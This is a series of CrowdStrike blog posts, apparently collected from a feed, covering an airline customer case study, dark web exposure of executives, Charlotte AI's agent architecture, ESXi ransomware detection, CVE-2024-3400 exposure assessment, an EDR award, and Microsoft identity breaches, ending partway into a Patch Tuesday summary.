Porter soon looked to expand its cloud protections with CrowdStrike Falcon® Application Security Posture Management (ASPM). While evaluating the product, Deluce gained visibility into dependencies, vulnerabilities, data types and changes his team previously had no visibility into, ranging from low risk to high risk. The company moved fast to deploy Falcon ASPM. 

With ASPM delivered as part of Falcon Cloud Security, Porter gets comprehensive risk visibility and protection across its entire cloud estate, from its AWS cloud infrastructure to the applications and services running inside of it — delivered from the unified Falcon platform. 

Better Visibility and Protection

Porter has deployed numerous CrowdStrike protections to fortify the airline against cyber threats. Recently, that included CrowdStrike Falcon® Identity Protection to improve visibility of identity threats, stop lateral movement and extend multifactor authentication (MFA). 

Deluce noted that previously, he had no easy way of knowing about stale accounts or service accounts. He’d have to do an Active Directory dump and go through each line to see what was happening. With Falcon Identity Protection, Deluce saw that Porter had over 200 privileged accounts, which didn’t add up, given his small number of domain admins. 

“I saw that a large group had been given print operator roles, which would have allowed them to move laterally to domain admins,” noted Deluce. “With Falcon Identity Protection, I was able to change those permissions quickly to reduce our risk. I also started enforcing MFA from the solution, which is something I couldn’t do before with the products we had.”

Gaining better visibility has been an important theme for Porter. The company also uses CrowdStrike Falcon® Exposure Management to gain comprehensive visibility to assets, attack surfaces and vulnerabilities with AI-powered vulnerability management.  

“We’re taking on new vendors faster than we’re taking on airplanes, so we need to limit our exposures,” said Deluce. “With Falcon Exposure Management, I can scan our digital estate to see which assets we have exposed to the internet, as well as any exposures belonging to our subsidiaries and partners, so we can reduce those risks.” 

The solution provided quick value when Deluce noticed one of his APIs was exposed to the internet, which shouldn’t have been the case. He also found that many of the assets connected to the company’s network belonged to third parties, which is a major risk, given that any attack against those devices could affect Porter. 

“Falcon Exposure Management shows us our vulnerabilities and exposures, and how we can reduce them,” said Deluce. “This is key as we continue to build out the company and expand our partner network.”

Securing the Future with CrowdStrike

Safety is paramount to airlines — and that includes keeping customer data safe. With its investment in CrowdStrike, Porter is demonstrating its commitment to safety and security. 

But for cybersecurity leaders like Deluce, the work is never done. Adversaries continue to get bolder, faster and stealthier. To stay ahead of evolving threats, Porter continues to lean into CrowdStrike, recently testing Charlotte AI and CrowdStrike Falcon® Adversary Intelligence, among other capabilities designed to help teams work faster and smarter.

Deluce reflected on how far the company has come in its cybersecurity journey and the role that security plays in enabling future growth. 

“We’ve gone from multiple tools, high complexity and spending a lot for poor visibility to a single pane of glass where we can do a bunch of new things with one platform,” concluded Deluce. “Cybersecurity is key to scaling the company and we know CrowdStrike is there for us.”

Additional Resources

• CrowdStrike was named a Leader in the 2023 Gartner® Magic Quadrant for Endpoint Protection Platforms — read more in this blog: Furthest Right in Vision. Highest in Ability to Execute. Only CrowdStrike.
• To learn what other industry analysts are saying about CrowdStrike, visit the Industry Recognition webpage.
• Test CrowdStrike next-gen AV for yourself with a free trial of CrowdStrike Falcon® Prevent.

Organizations  are increasingly concerned about high-profile employees’ information being exposed on the deep and dark web. The CrowdStrike Counter Adversary Operations team is often asked to find fake social media accounts and personally identifiable information (PII) that might be exposed.

Impersonations and leaked PII can unravel lives and ruin the reputations of individuals and their organizations. Through surface, deep and dark web monitoring, CrowdStrike is able to provide timely alerts to our customers, helping them take quick action to mitigate the potential damage caused by these posts.

The CrowdStrike Counter Adversary Operations team has created thousands of monitoring rules that protect our customers, and nearly 20% of them focus solely on high-profile employees. In this blog, we break down the data source categories that generate the most actionable notifications — including the type of data being posted — and name the actors that are posting most frequently on those sites.

CrowdStrike Counter Adversary Operations Analysis

The analysis and graph below represent only the true positive notifications from the Counter Adversary Operations team. A true positive notification is one that has been determined to be malicious in nature and actionable for customers.

By analyzing true positive notifications, we can identify the top actionable sources and their effects on organizations.

Actionable Source Types

Figure 1. Percentage of true positives by source type, February 2021-February 2024

Chat Mediums 

The most common chat site with true positives seen in our monitoring is Telegram. 

Telegram included data that could be used to target high-profile employees and potentially their organizations. Telegram, unlike other sites, is not the most directly targeted source — high-profile employee data is found within the site, but this data is within combined lists of millions of other people’s data, so it is unlikely the author knows they have captured the sensitive data of high-profile employees. Otherwise, actors would individualize the credentials for purchase at a premium price. The majority of the sensitive data identified within Telegram includes email addresses and passwords for third-party applications. Although this does not directly tie into targeting high-profile employees to undermine their companies’ technical infrastructure, if these employees use the same password for their personal and corporate accounts, it can have catastrophic consequences.

There are numerous authors on Telegram posting what we would classify as true positive notifications for high-profile employees. These notifications typically include email and password combinations that are currently being used by the high-profile employees.

Criminal Marketplaces 

Like Telegram, criminal marketplaces include data that could have an immediate impact on high-profile employees. Specifically, the majority of the exposed data on criminal marketplaces comes from multiple large breaches of credit card information, and threat actors look to sell credit card data individually and indiscriminately. Threat actors parse the data individually by credit card owner name and list each one for sale, typically for less than $1 USD.

Threat actors do not appear to do research based on the accounts they are selling, which leads us to believe that bot farms are being used to perform automated collection. For instance, if a threat actor knew they had a working credit card — along with the purchasing information of a CEO or high-ranking official — they would likely either raise the price for that individual or attempt to further exploit the information.

“Carder Market” is a broker site that sells exposed credit card information, including the PII data needed to make online transactions. The site is nondiscriminatory and lists all accounts available after a purchase of $0.25 USD. This alludes to bot behavior, which is confirmed when attempting to identify the perpetrators — in this case, the perpetrator is one account identified as “Admin.” Though accounts are indiscriminately posted, high-profile employees could be targeted by searching for a specific name and suspected home of record within the data.

Public Repositories 

Unlike chat mediums and criminal marketplaces, public repositories include highly targeted information. On public repositories, Counter Adversary Operations observed data of three types of high-profile employees: government officials, influential figures and C-suite personnel. The exposed PII included residence addresses, phone numbers, IP addresses, Social Security numbers, personal email addresses, detailed credit card information (including expiration date and security code) and vehicle plate numbers.

With the abundance of information included on these sites, bad actors have a higher potential to exploit high-profile employees either by harassing them or using their credit card/SSN information.

The public repositories we observed included Doxbin, Pastebin and GitHub. All three public repositories  allow users to post anonymously (and high-profile employee material was posted anonymously), allowing bad actors to easily obfuscate themselves and their intentions. 

Forums 

Malicious forum posts observed by our team are largely used to create and spread conspiracy theories or make derogatory statements related to individuals who have high name recognition. These posts are meant to degrade the reputation of an individual, but we rarely see posts containing sensitive data that could compromise the individual’s corporate credentials. 

For this category, the source that generated the most true positive notifications is 4chan. All true positive notifications on 4chan are posted under anonymous accounts. These posts are not limited to PII, as with other source categories. Many 4chan posts concerning high-profile employees are antisemitic in nature and usually end up being linked to an existing conspiracy theory. Something that is also unique to 4chan is the posts almost always target CEOs and additional executive employees.

Counter Adversary Operations has witnessed cyber threats turn into physical acts of targeting on 4chan. For example, our team observed a political discourse that devolved into the author posting their disagreement with an individual’s political views, resulting in a call to arms where the home of the individual was targeted by a picket line.

Social Media 

Social media sites also included targeted notifications where actors directly targeted high-profile individuals. However, this medium is less prone to data leaking than public repositories. Social media posts include direct harassment of individuals — in most cases, the harassment revolves around a political discourse that led to hate speech from individual actors. Unlike chat mediums, which can be listed privately, social media sites reach a higher swath of application users, and author discourse appears to be a popular topic to gain notice. 

The most common site on which Counter Adversary Operations observed this behavior was X (formerly Twitter). Counter Adversary Operations has aided customers in preparing documentation to take down X profiles that are attempting to impersonate high-profile employees’ accounts. These impersonating accounts used employees’ profile photos and names, making them more convincing.

The takedown process for social media accounts requires ample evidence of malicious behavior, not just the use of a name and photo. This can create a barrier for the affected user in getting the account taken down.

How CrowdStrike Counter Adversary Operations Can Help

CrowdStrike Falcon® Adversary Intelligence enables customers to monitor these sites and immediately alerts customers when activity against a high-profile employee is detected. And because CrowdStrike Counter Adversary Operations works with surface, deep and dark web data every day, the team knows which sites to focus on and which are less concerning. CrowdStrike offers an option to add an assigned Counter Adversary Operations analyst to help customers hunt for external threats to brands, employees and sensitive data, allowing their cyber professionals to devote their time to handling actionable data rather than hunting through a complex and ever-changing criminal ecosystem.

Additional Resources

• Watch this short demo to see how Falcon Adversary Intelligence enables organizations to proactively uncover fraud, data breaches and phishing campaigns to protect their brand from online threats that target their organization.
• To find out more about how to incorporate threat intelligence into your security strategy, visit the CrowdStrike Falcon Adversary Intelligence page.
• Read about the cybercriminals tracked by CrowdStrike Counter Adversary Operations in the CrowdStrike 2024 Global Threat Report.
• Request a free trial of the industry-leading CrowdStrike Falcon® platform.

Over the last year there has been a prevailing sentiment that while AI will not necessarily be replacing humans, humans who use AI will replace those that don’t. 

This sentiment also applies to the next era of cybersecurity, which has been rapidly unfolding over the last year. Recent breakthroughs in generative AI hold enormous promise for modern defenders. Amid the dual pressures of accelerating attacks — down to just over two minutes, in some instances — and persistent skills shortages, generative AI has the potential to be not just an accelerator, but a veritable force-multiplier for teams of all sizes and maturity levels. We’ve seen these impressive gains firsthand working with early adopters of Charlotte AI (made generally available last month), with users reporting speed gains of up to 75% across supported workflows. 

Making humans as effective and efficient as possible begins with giving them the best tools for the job. Today’s AI landscape presents organizations with a rapidly growing and often dizzying landscape of foundational models developed by the open-source community, startups and large enterprises. Each model is unique in its strengths and applications, varying in speed, accuracy, training data, computational intensiveness and in the underlying risks they pose to end-users. Invariably, selecting just one model, or one family of models, can force users to accept trade-offs across any one of these variables.

Security teams shouldn’t have to compromise on the tools they use to protect their organizations. In an ideal world, their tools should support the maximum levels of speed and accuracy required across the myriad workflows they oversee, without trade-offs on performance and risk — and without placing the burden on defenders to calculate computational complexity.

This is one of the foundational principles on which we’ve designed Charlotte AI. To optimize Charlotte AI’s performance and minimize the drawbacks of using individual models, we’ve architected Charlotte AI with a multi-AI system; one that partitions workflows into discrete sub-tasks and enables our data scientists to isolate, test and compare how effectively different models perform across tasks. This approach enables our experts to dynamically interchange the foundational models applied across workflows, ensuring end-users can interact with an ever-improving AI assistant fueled by the industry’s latest generative AI technologies. 

Charlotte AI’s multi-AI design is singular across the cybersecurity landscape, applying cutting-edge system design from the front lines of genAI research to CrowdStrike’s unsurpassed data moat of award-winning threat intelligence, cross-domain platform telemetry and over a decade of expert-labeled security telemetry. In this blog, we shed light on how it comes together.

Under the Hood: From Question to Answer with AI Agents

Charlotte AI enables users to unleash the transformative power of generative AI across security workflows. With a simple question, users can activate Charlotte AI to answer questions about their environments, generate scripts or analyze emerging threat intelligence; all grounded in the high-fidelity telemetry of the Falcon platform. Charlotte AI’s natural processing capabilities lower the level of skill and experience needed to make quick, accurate security decisions, while enabling even seasoned analysts to unlock incremental speed gains across every stage of their workflows — from surfacing time-sensitive detections, to investigating incidents to taking action with Real Time Response. 

Under the hood, Charlotte AI orchestrates over a dozen task-oriented “AI agents” to interpret a user’s question, plan the steps required to assemble a complete answer and structure the end result (Figure 1). Each AI agent is a subsystem consisting of a model and surrounding code that enables it to perform specific tasks and interact with other agents. One can think of each AI agent’s LLM (or other class of underlying model) as its “brain,” and each agent’s unique functionality (enabled by its surrounding code) as the skills that enable it to execute specific tasks. 

We can think of these AI agents much like the team of doctors working in concert in an operating theater, each overseeing specialized tasks; from administering anesthesia to operating on acute areas of focus. Similarly, each AI agent has a specific responsibility and area of expertise. Much like an operation that requires a team of specialists to collaborate, Charlotte AI’s dynamic task force of AI agents work together to support a growing number of workflows; from summarizing threat intelligence, to writing queries in CrowdStrike Query Language (CQL), to assisting incident investigations. 

At a high level, Charlotte AI activates AI agents to structure answers in the following sequence: 

• Step 1: Understand the Question: Charlotte AI first activates AI agents tasked with understanding the user’s conversation context and extracting entities referenced in the question — such as threat actors, vulnerabilities or host features.
• Step 2: Route Subtasks to AI Agents: Charlotte AI then activates a router agent, which determines which AI agent or agents to assign the user’s request. 
• Step 3a: Scan for Answers: If a user asks a question that requires data from one or more API calls, the request is passed to a dedicated agent within Charlotte AI that ensures the information is retrieved and available for further processing. 
• Step 3b: Plan Responses for Questions: If the user’s question doesn’t map to one or more API calls — for example, when asking Charlotte AI to generate a CQL query — Charlotte AI’s router agent can activate a number of other AI agents fine-tuned to accomplish specific tasks.
• Step 4: Validate the Plan and Retrieved Data: The runtime agent executes the API calls outlined by the prior AI agent. The output of this process is then reviewed by a validation agent, which determines whether the resulting information is complete or requires additional information. This AI agent may even issue a warning to the end user if the answer is incomplete.
• Step 5: Generate an Answer: A final AI agent structures the response to the user’s question, taking into account intuitive ways of presenting information to the end user and generating a summary of information presented. 

Figure 1. Charlotte AI uses task-specific AI agents to understand a user’s prompt and then assemble and validate the resulting answer.

Guardrails against LLM Overexposure  

Systems that give users direct visibility to the output of LLMs (often referred to as “naked LLMs”) risk exposing users to inaccurate information when LLMs perform unexpectedly or hallucinate — a phenomenon where LLMs provide information that is not supported by, or even contradicts, source data. Inaccurate information can have devastating implications in security, ranging from impeded productivity, to a weakened security posture, to a major breach. 

Charlotte AI’s multi-AI architecture plays a critical role in enabling a safe user experience, providing buffers that insulate end-users from the direct output of LLMs. First, by having the flexibility to apply diverse models across workflows, Charlotte AI enables CrowdStrike’s data science team to limit the ripple effects of unexpected changes in performance stemming from any one model. Another way Charlotte AI buffers users against direct LLM exposure is by using an agent tasked with validating answers before they are presented to end-users, verifying that answers are both consistent with the type of result the user is expecting and grounded in Falcon platform data. 

Turbocharging Security Workflows: From Answer to Action 

As large language models reach new levels of maturity and commoditization, security teams face a growing landscape of conversational AI assistants. Charlotte AI’s multi-AI architecture enables users to tap into the power of today’s best-of-breed foundational models and cutting-edge innovations across their workflows while minimizing the trade-offs of limiting their selection to any one model or model family. This architectural adaptability enables Charlotte AI to continuously elevate every analyst to new heights of efficiency, equipping them with the insight they need to make faster, more accurate decisions and reclaim a speed advantage against modern adversaries. For a deeper look at Charlotte AI’s architecture, download the white paper: “The Best AI for the Job: Inside Charlotte AI’s Multi-AI Architecture.”

Next Steps: 

• Download the white paper: Learn more about Charlotte AI’s multi-AI architecture.
• Register for the Unstoppable Innovations Series: Hear how early adopters of Charlotte AI are turning hours of work into just minutes or even seconds. Register for the series. 
• Learn more: Visit the Charlotte AI product page. 

• CrowdStrike Falcon® Next-Gen SIEM enables companies to search, investigate and hunt down threats, including detection of advanced ransomware targeting VMware ESXi 
• Initial access to the ESXi infrastructure¹ is typically gained through lateral movement using valid credentials
• eCrime actors target and deploy ransomware in ESXi environments to increase the impact and scale of their attacks, which can be devastating for organizations

CrowdStrike Falcon Next-Gen SIEM, the definitive AI-native platform for detecting, investigating and hunting down threats, enables advanced detection of ransomware targeting VMware ESXi environments. 

CrowdStrike has observed numerous eCrime actors exploiting ESXi infrastructure to encrypt virtual machine volumes from the hypervisor to deploy ransomware in organizations. Access to ESXi infrastructure typically takes place as part of lateral movement. For example, SCATTERED SPIDER often gains initial access to a Microsoft Entra ID identity via social engineering and then uses this identity to access internal information repositories such as SharePoint to search for ESXi related credentials. 

CrowdStrike refers to this tactic to deploy ransomware as “Hypervisor Jackpotting,”² as eCrime actors can  use ESXi hosts to rapidly expand the scope of affected systems.

Falcon Next-Gen SIEM can ingest ESXi logs to reveal evidence of attacker activity, detect suspicious behavior related to use of encryption commands and tooling in near-real time, audit configuration changes and events indicative of early signs of pre-ransomware activity, and detect logins from malicious IP addresses to create and raise incidents for investigation. 

Here, we provide an overview of how Falcon Next-Gen SIEM detects ransomware targeting ESXi environments.

Figure 1. Ransomware attack path (click to enlarge)

Start With Log Forwarding and Configuration

Forwarding ESXi logs to Falcon Next-Gen SIEM can help detect ransomware targeting ESXi environments. By ingesting and alerting on authentication and shell logs that ship with ESXi, we can find evidence of attackers gaining interactive shell access to the ESXi servers, running basic enumeration commands, shutting down virtual machines and using built-in tools like openssl to encrypt the virtual machine volumes.

We recommend using a syslog aggregation point, like the CrowdStrike® Falcon LogScale Collector, to forward logs to Falcon Next-Gen SIEM. Detailed instructions for doing this can be found in the CrowdStrike Tech Center.³

Once your log collector is set up, you can configure the ESXi infrastructure to forward the logs to your log collector. The default configuration for syslog for VMware ESXi 7.x and VMware vCenter 7.x is sufficient to get the correct logs to the unified, AI-native CrowdStrike Falcon® platform. You can find the instructions on how to enable remote syslog forwarding in VMware’s knowledge base.⁴

Detect the Use of Built-In Encryption Tools

Most of the activity prior to the encryption of critical virtual machine guest files could potentially be normal behavior like listing and shutting down virtual machines. These are important events to capture in an incident, but they are not indicative of an attack on their own. 

To create a detection, we need to identify an event with a high enough confidence. The use of a tool like openssl with the encrypt option (enc) being run from the command line on critical guest virtual machine files is a high-confidence event that indicates something malicious is happening in our environment. 

Falcon Next-Gen SIEM will detect this activity in near real time and create an incident for you. It will also gather surrounding activity that has happened on that host and include it in the incident.

Figure 2. Ransomware detected on a server running ESXi (click to enlarge)

In this detection, we see the use of openssl to encrypt sensitive files, the SSH connection, some virtual machine enumeration and the virtual machines being shut down before encryption.

Gain Insights Into Early Ransomware Signs

Detecting an in-progress attack within your environment is critical, but it is always better to get insights into a pending attack before it starts. We can look for configuration changes to an environment, especially those that don’t comply with best practices or that degrade the security posture of the environment. 

One easily detectable signal would be if a user enables SSH on one of your servers running ESXi. In a best-case scenario, this is an auditable event that the security team can confirm is legitimate behavior. In a worst-case scenario, it is the first tip that someone has compromised your ESXi infrastructure. We can easily surface this activity by creating a scheduled search looking for the specific indicator. Running it on a short interval with an overlapping time period will ensure we get timely notifications without missing events. 

Figure 3. Extended detection and response (XDR) scheduled search configuration in the Falcon platform (click to enlarge)

Figure 4. ESXi SSH-enabled detection (click to enlarge)

Reveal Unauthorized Logins from Malicious IP Addresses

Another indicator of a pending attack is the detection of logins to the ESXi management console that come from known malicious IP addresses where the console is purposely or accidentally exposed to the internet. Falcon Next-Gen SIEM leverages CrowdStrike’s integrated threat intelligence to identify any known indicators of compromise (IOCs) in critical data. By combining this with the ESXi login entries sent to the Falcon platform, we can detect the login attempts from known malicious sources.

Figure 5. Detection of a login from a malicious IP (click to enlarge)

CrowdStrike Falcon Next-Gen SIEM Exposes Ransomware Targeting ESXi 

By leveraging Falcon Next-Gen SIEM, you can provide your organization with multiple layers of detections, get unparalleled visbility into your ESXi infrastructure and get ahead of adversaries. Falcon Next-Gen SIEM leaves adversaries targeting ESXi environments with nowhere to hide, detecting suspicious behavior as early as possible, preventing attacks and stopping breaches.

Additional Resources

• Learn how to stop breaches with Falcon Next-Gen SIEM by visiting the webpage.
• Join our next biweekly next-gen SIEM showcase to view a live demo of Falcon Next-Gen SIEM.
• Download the CrowdStrike eBook, 8 Things Your Next SIEM Must Do, to understand the critical capabilities to look for when evaluating SIEM solutions.
• See Falcon LogScale in action by watching this fast-paced demo.

Sources

1. https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/
2. https://www.crowdstrike.com/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/
3. https://www.crowdstrike.com/blog/tech-center/importing-logs-log-collector/
4. https://kb.vmware.com/s/article/2003322

UPDATE: It has been confirmed that disabling telemetry will not block this exploit. Applying a patch as soon as possible is the most effective remediation for this vulnerability. Patches for 8 of the 18 vulnerable versions have been released; patches for the remaining vulnerable versions are expected by April 19th.

CrowdStrike is constantly working to protect our customers from the newest and most advanced cybersecurity threats. We are actively monitoring activity related to CVE-2024-3400, a critical command injection vulnerability in the GlobalProtect feature of Palo Alto Networks’ PAN-OS software affecting “specific PAN-OS versions and distinct feature configurations,” the vendor says.

This vulnerability, which has been given a CVSSv4.0 score of 10 by the vendor, has been observed being exploited in the wild. If exploited, CVE-2024-3400 could allow an unauthenticated attacker to execute arbitrary code with root privileges on the firewall. At the time of writing, there is no patch available. Palo Alto Networks says a patch will be ready by April 14, 2024. 

Here, we explain how customers of the CrowdStrike Falcon® platform can assess their risk exposure to this vulnerability. Customers should also monitor the vendor’s website for up-to-date information on vulnerable product versions, mitigations and available patches.

Assessing Risk Exposure to CVE-2024-3400

When a new and actively exploited vulnerability is reported, one of the first actions security teams must take is determining their exposure to the issue. Understanding which of their internet-exposed assets could potentially be affected by the vulnerability is the first step to understanding exposure — and clear visibility into internet-facing devices is essential.

After identifying potentially vulnerable assets, the next step is to understand if the exposed assets have the required conditions for the vulnerability to be present. 

According to the vendor information, some of the most recent PAN-OS versions (listed below) are affected. An asset will be affected if the GlobalProtect gateways and device telemetry are enabled. If these features are not enabled, this vulnerability cannot be exploited.

Table 1. PAN-OS versions vulnerable to CVE-2024-3400

CrowdStrike Falcon Exposure Management customers can quickly identify exposed PAN-OS assets in their environments by filtering directly from the external attack surface management capability. This will help customers quickly identify all of the potential exposures, thereby proactively reducing the impact of a potential exploitation.

Table 2. Falcon Exposure Management query filters to detect CVE-2024-3400

NOTE: The two filters listed above should be used independently as using them in tandem will likely net 0 results.

As pictured below, Falcon Exposure Management customers can broaden their search for all Palo Alto Networks devices by selecting the platform “PAN-OS,” enabling them to locate firewalls running the vulnerable version of GlobalProtect.

How Many Assets Could Be Affected?

Customers of CrowdStrike Falcon® Counter Adversary Operations who would like to identify the total number of potentially vulnerable internet-exposed assets can navigate to “External attack surface explore” located in the “External monitoring” section of the Counter Adversary Operations menu. There, they can use some of the following filters to view other PAN-OS assets visible on the broader internet:

Table 3. Queries for detecting possible vulnerable assets in “External attack surface explore,” an external monitoring feature in Counter Adversary Operations

Figure 3. Example response from “External attack surface explore”

Conclusion and Recommendations

Critical vulnerabilities, especially those actively exploited, pose a high risk to organizations. In order to mitigate the risk of exploitation, those affected by CVE-2024-3400 are advised to update vulnerable appliances with the vendor-supplied patch. Patches for 8 of the 18 vulnerable versions have been released, and patches for the remaining vulnerable versions are expected by April 19th. In addition, it is advised to increase monitoring of vulnerable appliances as well as non-vulnerable assets potentially accessible by the appliance.

Our product and internal security teams continue to actively monitor this dynamic and ongoing situation. CrowdStrike will continue to take additional steps, including mitigation and patching. As new information becomes available, we will publish updates as necessary. In tandem, we continue to develop and release new behavioral logic for the Falcon platform to detect and prevent malicious behavior related to CVE-2024-3400. 

Additional Resources

• See Falcon’s unrivaled protection in action in a short demo.
• Learn about our threat intelligence and hunting subscriptions.
• Experience how the industry-leading CrowdStrike Falcon® platform protects against modern threats. Start your 15-day free trial today.

• CrowdStrike wins third consecutive Best Endpoint Detection and Response 2024 Award from SE Labs
• The award recognizes that the CrowdStrike Falcon® platform demonstrates consistent results in detecting real-world adversary tradecraft, both in SE Labs testing and in real-world scenarios
• CrowdStrike remains committed to participating in independent testing that provides transparency into the Falcon platform’s AI-native detection and automated prevention capabilities 

The CrowdStrike Falcon platform has received the Best Endpoint Detection and Response 2024 Award from SE Labs for the third consecutive year. This award honors CrowdStrike’s leadership in demonstrated detection, prevention and investigation capabilities. This repeat performance is made possible by CrowdStrike’s unified, AI-native platform, which delivers unsurpassed protection through a single lightweight agent and console, fueled by CrowdStrike’s petabytes of cross-domain intelligence and award-winning threat intelligence and advanced AI and machine learning capabilities. The recognition also highlights our continued commitment to transparency in public testing.

In describing the significance of this award, SE Labs notes:

“The best security involves having a good understanding of your enemy and the extent of the impact they could make (or have already made) on your IT infrastructure. Endpoint Detection and Response are the boots on the ground when it comes to seeing, stopping and investigating cyber threats on the network. A great solution makes it easier for security teams to be more effective.”

The SE Labs Best Endpoint Detection and Response 2024 Award reflects CrowdStrike’s consistent, year-long testing results in detecting real-world attacker behavior with the highest protection accuracy during SE Labs EDR tests. In the ransomware-specific testing, the Falcon platform detected and blocked all attacks to achieve a 100% ransomware protection score.

In addition, as part of this award, SE Labs incorporates results reported by customers. To earn this third straight win, the Falcon platform showed that it delivers best-in-class results during sophisticated lab-based testing and in real-world engagements. From ransomware to sophisticated attack chains, the Falcon platform defends against attacks at every stage, neutralizing adversaries.

An Adversarial Approach to Testing Endpoint Detection and Response

SE Labs Endpoint Detection and Response testing involves using current threat intelligence on known and relevant adversaries to build similar attack chains in a practice known as adversary emulation. This involves replicating tradecraft from sophisticated adversaries such as Turla, Ke3chang, Threat Group-3390 and Kimsuky to make test cases as similar as possible to real-life engagements. The intent behind these attacks is to infiltrate systems and breach target networks, realistically mirroring the methods that adversaries use to compromise systems. 

Ransomware is a big part of SE Labs’ testing. It inflicts damages totaling billions of dollars and it’s increasingly used for extortion by big game hunting (BGH) adversaries — the number of data theft victims named on BGH dedicated leak sites spiked by 76% year-over-year in 2023, as detailed in the CrowdStrike 2024 Global Threat Report.

It is critical to test EDR vendors’ ability to detect the tactics of cybercriminal ransomware groups, as well as known and unknown ransomware. By creating attack chains that replicate tactics — such as the use of stolen identities or lateral movement — and using ransomware samples employing typical methods like phishing, these ransomware-specific EDR tests are meant to evaluate whether security vendors can detect and protect businesses against real-world scenarios.

Throughout 2023, SE Labs included realistic adversary tradecraft in its EDR attack chains, as well as real-world tactics used by ransomware operators, to evaluate detection and prevention capabilities. The ransomware-specific test involved 615 ransomware variants from 10 different ransomware families being employed in sophisticated attacks mimicking the tradecraft of real-world adversaries.

The SE Labs Best Endpoint Detection and Response 2024 Award stands as a unique accolade in the industry, recognizing practical success in seeing, stopping and investigating advanced threats by understanding adversary behaviors.

Additional Resources

• CrowdStrike was named a Leader in the 2023 Gartner® Magic Quadrant for Endpoint Protection Platforms — read more in this blog: Furthest Right in Vision. Highest in Ability to Execute. Only CrowdStrike.
• To learn what other industry analysts are saying about CrowdStrike, visit the Industry Recognition webpage.
• Test CrowdStrike next-gen AV for yourself with a free trial of CrowdStrike Falcon® Prevent.

Two recent Microsoft breaches underscore the growing problem of cloud identity attacks and why it’s critical to stop them. 

While Microsoft Active Directory (AD) remains a prime target for attackers, cloud identity stores such as Microsoft Entra ID are also a target of opportunity. The reason is simple: Threat actors increasingly seek to mimic legitimate users in the target system. They can just as easily abuse identities from cloud identity providers as they can in on-premises AD environments.

Identity providers and Zero Trust network access solutions offer some capabilities to prevent cloud identity attacks — however, they often lack visibility across the identity landscape spanning on-premises and cloud identity providers, creating gaps that adversaries can exploit.

This blog shares how the failure to secure cloud identities can result in a breach and how recently released innovations in CrowdStrike Falcon® Identity Protection can stop identity attacks in the cloud.

Get a free CrowdStrike Identity Security Risk Review to get instant visibility into your current Microsoft Entra ID, Active Directory and Okta environments.

CSRB Report Shows the Importance of Identity Security

The Summer 2023 Microsoft breach deconstructed by the U.S. Cyber Safety Review Board (CSRB) in a recent landmark report of the incident shows why identity threat detection and response is critical. 

Last May, a nation-state adversary compromised the Microsoft Exchange Online mailboxes of 22 organizations and over 500 individuals around the world. The threat actor accessed the accounts using authentication tokens signed by a key that Microsoft had created in 2016. “A single key’s reach can be enormous, and in this case the stolen key had extraordinary power,” said the CSRB. When combined with another flaw in Microsoft’s authentication system, the key allowed the adversary to gain full access to essentially any Exchange Online account anywhere in the world.

The CSRB found “this intrusion was preventable and should never have occurred” and offered several recommendations to ensure an intrusion of this magnitude doesn’t happen again. Two stood out:

1. Cloud service providers should implement modern control mechanisms and baseline practices, informed by a rigorous threat model, across their digital identity and credential systems to substantially reduce the risk of system-level compromise.
2. Cloud service providers should implement emerging digital identity standards to secure cloud services against prevailing threat vectors. Relevant standards bodies should refine, update, and incorporate these standards to address digital identity risks commonly exploited in the modern threat landscape.

While these CSRB recommendations are targeted toward cloud service providers (CSPs), given the Cloud Shared Responsibility Model, customers can’t rely solely on CSPs to stop breaches. Organizations need to lock down identities by layering in proactive identity protections across their hybrid identity environments. 

More recently, COZY BEAR, a Russia state-nexus adversary, conducted high-profile attacks on Microsoft’s corporate systems. This Microsoft breach involved common identity techniques like password spraying and credential scanning, and compromised corporate email accounts, including those of Microsoft’s senior leadership team.

What these two Microsoft identity breaches show is that adversaries are weaponizing identities. If you don’t have modern identity security, your organization may be at risk of a breach. 

New Identity Protections to Stop Breaches in the Cloud

CrowdStrike offers the industry’s only unified platform for identity threat protection and endpoint security, powered by rich threat intelligence and adversary tradecraft. Recent enhancements to CrowdStrike Falcon® Identity Protection help customers better protect against modern identity attacks in the cloud.

While individual IAM and identity-as-a-service (IDaaS) systems provide user authentication, they lack the visibility into hybrid lateral movement and intelligence about adversary tradecraft to detect identity attacks across cloud and on-premises environments. Falcon Identity Protection not only has direct visibility into AD through the lightweight Falcon sensor, it also has pre-configured IDaaS connectors that give customers direct visibility into identity activity across cloud identity providers such as Entra ID and Okta. 

By correlating context from the authentication event, Falcon Identity Protection can detect if a user’s web-authenticated session is maliciously hijacked or other malicious web-based activity has occurred. The solution also provides workflows to take direct action, such as disabling an account, revoking a session and refreshing tokens, and updating the access policy in Entra ID to stop the attack. 

IAM and IDaaS systems are not only blind to cloud identity attacks, but due to their siloed nature they also lack the ability to deliver response actions to stop the adversary in a different cloud identity provider. As an IAM vendor-agnostic solution, Falcon Identity Protection spans multiple cloud identity providers to comprehensively stop adversaries.  

Customers can now defend against sophisticated identity-based threats with CrowdStrike Falcon® Adversary OverWatch’s new identity threat hunting capability. This 24/7 managed service, powered by AI and human expertise, utilizes telemetry from Falcon Identity Protection to disrupt adversaries across endpoint, identity and cloud. 

Take a Free Identity Security Risk Review 

Curious about your identity security posture? CrowdStrike’s complimentary Identity Security Risk Review provides a 1:1 session with a CrowdStrike identity threat expert to help you evaluate your hybrid identity security posture and uncover any potential risks. 

The risk review can be completed quickly and gives you:

• Instant visibility into the identity security posture across your hybrid identity environment
• Deep insights into possible attack paths that adversaries can exploit, and expert advice on how to address them
• An understanding of how to protect your organization from modern identity-based attacks like ransomware, account takeover, hybrid lateral movement and Pass-the-Hash. 

Additional Resources

• Register for a complimentary Identity Security Risk Review.
• Download the Identity Security Risk Review Infographic.
• Stream the “COZY BEAR on the Prowl” CrowdCast
• Visit the Falcon Identity Protection product page to learn more. 
• Watch CrowdStrike CEO George Kurtz explain the recent Microsoft hack on “Mad Money.”

Microsoft has released security updates for 150 vulnerabilities in its April 2024 Patch Tuesday rollout, a much larger amount than in recent months. There are three Critical remote code execution vulnerabilities (CVE-2024-21322, CVE-2024-21323 and CVE-2024-29053), all of which are related to Microsoft Defender for IoT, Microsoft’s security platform for IoT devices. 

April 2024 Risk Analysis

This month’s leading risk type is remote code execution (RCE), accounting for 44%, followed by elevation of privilege (21%) and security feature bypass (19%).

Figure 1. Breakdown of April 2024 Patch Tuesday attack types

